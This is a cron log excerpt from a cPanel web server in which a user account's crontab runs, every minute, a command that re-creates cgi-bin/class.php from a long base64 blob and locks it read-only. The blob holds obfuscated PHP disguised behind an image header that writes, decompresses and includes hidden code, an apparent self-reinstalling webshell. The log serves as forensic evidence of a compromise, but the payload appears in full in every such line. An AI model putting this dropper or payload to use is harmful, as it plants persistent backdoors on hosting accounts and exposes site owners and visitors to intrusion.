Nov 14 03:30:01 server CROND[27337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 03:30:01 server CROND[27336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:30:01 server CROND[27338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:30:01 server CROND[27339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:31:01 server CROND[28256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:31:45 server run-parts(/etc/cron.daily)[29340]: finished maldet
Nov 14 03:31:45 server run-parts(/etc/cron.daily)[22892]: starting man-db.cron
Nov 14 03:31:46 server run-parts(/etc/cron.daily)[29686]: finished man-db.cron
Nov 14 03:31:46 server anacron[2756]: Job `cron.daily' terminated (produced output)
Nov 14 03:31:48 server anacron[2756]: Normal exit (1 job run)
Nov 14 03:32:01 server CROND[29912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:33:01 server CROND[32038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:34:01 server CROND[449]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:35:01 server CROND[1345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:35:01 server CROND[1346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:35:01 server CROND[1347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:35:01 server CROND[1348]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 03:35:01 server CROND[1349]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 03:36:01 server CROND[2267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:37:01 server CROND[3227]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:38:01 server CROND[4089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:39:01 server CROND[4955]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 03:39:01 server CROND[4956]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:40:01 server CROND[5758]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 03:40:01 server CROND[5759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:40:01 server CROND[5761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:40:01 server CROND[5760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:41:01 server CROND[6680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:42:01 server CROND[7530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
